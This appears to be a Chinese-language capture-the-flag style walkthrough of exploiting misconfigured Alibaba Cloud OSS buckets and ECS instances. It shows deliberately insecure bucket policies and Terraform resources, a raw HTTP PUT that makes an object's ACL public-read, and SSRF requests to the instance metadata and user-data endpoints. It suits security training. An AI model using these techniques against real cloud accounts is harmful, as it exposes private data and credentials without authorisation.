【云安全】以Aliyun为例聊云厂商服务常见利用手段

OSS-bucket_policy_readable

OSS-object_public_access

OSS-bucket_object_traversal

[OSS-Special Bucket Policy](#OSS-Special Bucket Policy)

OSS-unrestricted_file_upload

OSS-object_acl_writable

ECS-SSRF

云攻防场景下对云厂商服务的利用大同小异，下面以阿里云为例

其他如腾讯云、华为云、谷歌云、AWS、Azure不一一列举

OSS-bucket_policy_readable

桶策略可读

?policy可以看到存储桶策略

成功读到flag

OSS-object_public_access

对象公共访问

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resource "alicloud_oss_bucket_object" "huoxian_terraformgoat_object" {
  bucket     = alicloud_oss_bucket.huoxian_terraformgoat_bucket.bucket
  acl        = "public-read"
  key        = "flag"
  source     = "./flag"
  depends_on = [alicloud_oss_bucket.huoxian_terraformgoat_bucket]
}

访问./flag

OSS-bucket_object_traversal

存储桶对象遍历

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{
		"Effect": "Allow",
		"Action": [
			"oss:ListObjects",
			"oss:GetObject"
		],
		"Principal": [
			"*"
		],
		"Resource": [
			"acs:oss:*:*:*"
		],
		"Condition": {
			"StringLike": {
          		"oss:Prefix": [
					"*"
				]
			}
		}
	}

OSS-Special Bucket Policy

特殊存储桶策略

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{
		"Effect": "Allow",
		"Action": [
			"oss:ListObjects",
			"oss:GetObject"
		],
		"Principal": [
			"*"
		],
		"Resource": [
			"acs:oss:*:*:*"
		],
		"Condition": {
			"StringEquals": {
          		"acs:UserAgent": [
					"HxSecurityLab"
				]
			}
		}
	}

默认无权限访问

加上UA头

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User-Agent: HxSecurityLab

OSS-unrestricted_file_upload

不受限制的文件上传

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resource "alicloud_oss_bucket_object" "flag" {
  bucket       = alicloud_oss_bucket.Put_bucket_acl.bucket
  key          = "hx.png"
  source       = "./dist/hx.png"
  content_type = "inline"
  acl          = "public-read-write"
}

PUT覆盖原有文件

PUT新建文件

OSS-object_acl_writable

对象ACL可写

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{
	"Version": "1",
	"Statement": [{
		"Effect": "Allow",
		"Action": [
			"oss:GetObjectAcl",
			"oss:PutObjectAcl"
		],
		"Principal": [
			"*"
		],
		"Resource": [
			"acs:oss:*:*:*/*"
		]
	}]
}

直接访问flag.txt，403

查看acl

通过PUT方法将Object的ACL改为public-read

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PUT /flag.txt?acl HTTP/1.1
Host: hx-cloud-security-2rr50.oss-cn-beijing.aliyuncs.com
x-oss-object-acl: public-read

看到成功修改

成功读到flag

ECS-SSRF

用户可以通过 SSRF 漏洞获取到 ECS 上的元数据、用户数据等信息。

读取元数据

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http://100.100.100.200/latest/meta-data/

100.100.100.200 是一个特殊的保留 IP 地址，用于阿里云的元数据服务（Metadata Service）。它允许云服务器实例从内部网络获取自身的元数据，而无需访问外网。

读取用户数据

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http://100.100.100.200/latest/user-data/

User Data：用户在创建 ECS 时传入的脚本或配置

读flag

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file:///flag69152201.txt